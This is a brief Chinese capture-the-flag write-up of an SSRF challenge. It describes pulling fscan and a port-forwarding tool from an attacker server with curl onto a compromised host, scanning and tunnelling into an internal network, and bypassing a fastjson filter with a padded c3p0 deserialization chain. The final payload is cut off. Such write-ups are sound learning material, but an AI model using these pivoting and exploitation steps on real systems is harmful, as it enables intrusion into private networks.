打不开环境+公共环境被卡死+主办方直接在开始放题的时候就公开了源码附件+百度的第一二条就是题解=>直接撂挑子不干了(不过还是学了不少东西)
这道题是ssrf
前半部分和——https://blog.csdn.net/weixin_45492773/article/details/105975768
一模一样
直到拿到shell都完全没有什么不同
拿到shell后,还要再实现一次内网穿透,这里学到了一个新姿势——
虽然没有写的权限,但是可以进行下载,所以可以把一些需要用的软件放在自己的服务器上,然后远程操纵环境进行curl,把他、软件下过去后赋予权限,再进行之后的操作。
1.下载fscan( https://github.com/shadow1ng/fscan )进行扫描
进入tmp目录,使用curl下载自己服务器的fscancurl http://ip/fscan_amd64 >> fscan_amd64
然后赋予权限chmod 777 fscan_amd64
然后进行扫描./fscan_amd64 -h 10.10.1.1/24
最后发现内网 10.10.1.11 存在Shiro SprintBoot
2.同样方法下载portmap( http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip )
curl http://ip/portmap >> portmap
chmod 777 portmap
然后在自己服务器上运行,就是将5567端口的数据转发至8005端口./portmap -m 2 -p1 5567 -p2 8005
然后再在靶机上运行,将内网环境转发出来./portmap -m 3 -h1 ip -p1 5567 -h2 10.10.1.11 -p2 8080
然后就可以在公网访问了
题目提供了源码,下载下来,使用jd-gui反编译查看一下
账号密码为 admin / 123456
还发现了fastjson,但是有waf,需要绕过
然后再lib里发现了 hibernate-c3p0-5.3.14.Final.jar
在githun上面找到了绕过方式,c3p0反序列化( https://github.com/depycode/fastjson-c3p0 )
要想反序列化需要想登陆获取cookie,所以先登录
获取到cookie后bp抓包,修改数据包,直接将利用链复制粘贴,然后直接粘贴的话就会回显太短
因为对传入的长度进行了判断
所以直接就再填充2w的数据即可,最后的payload如下:
1 | POST /admin/test HTTP/1.1 |
成功获取flag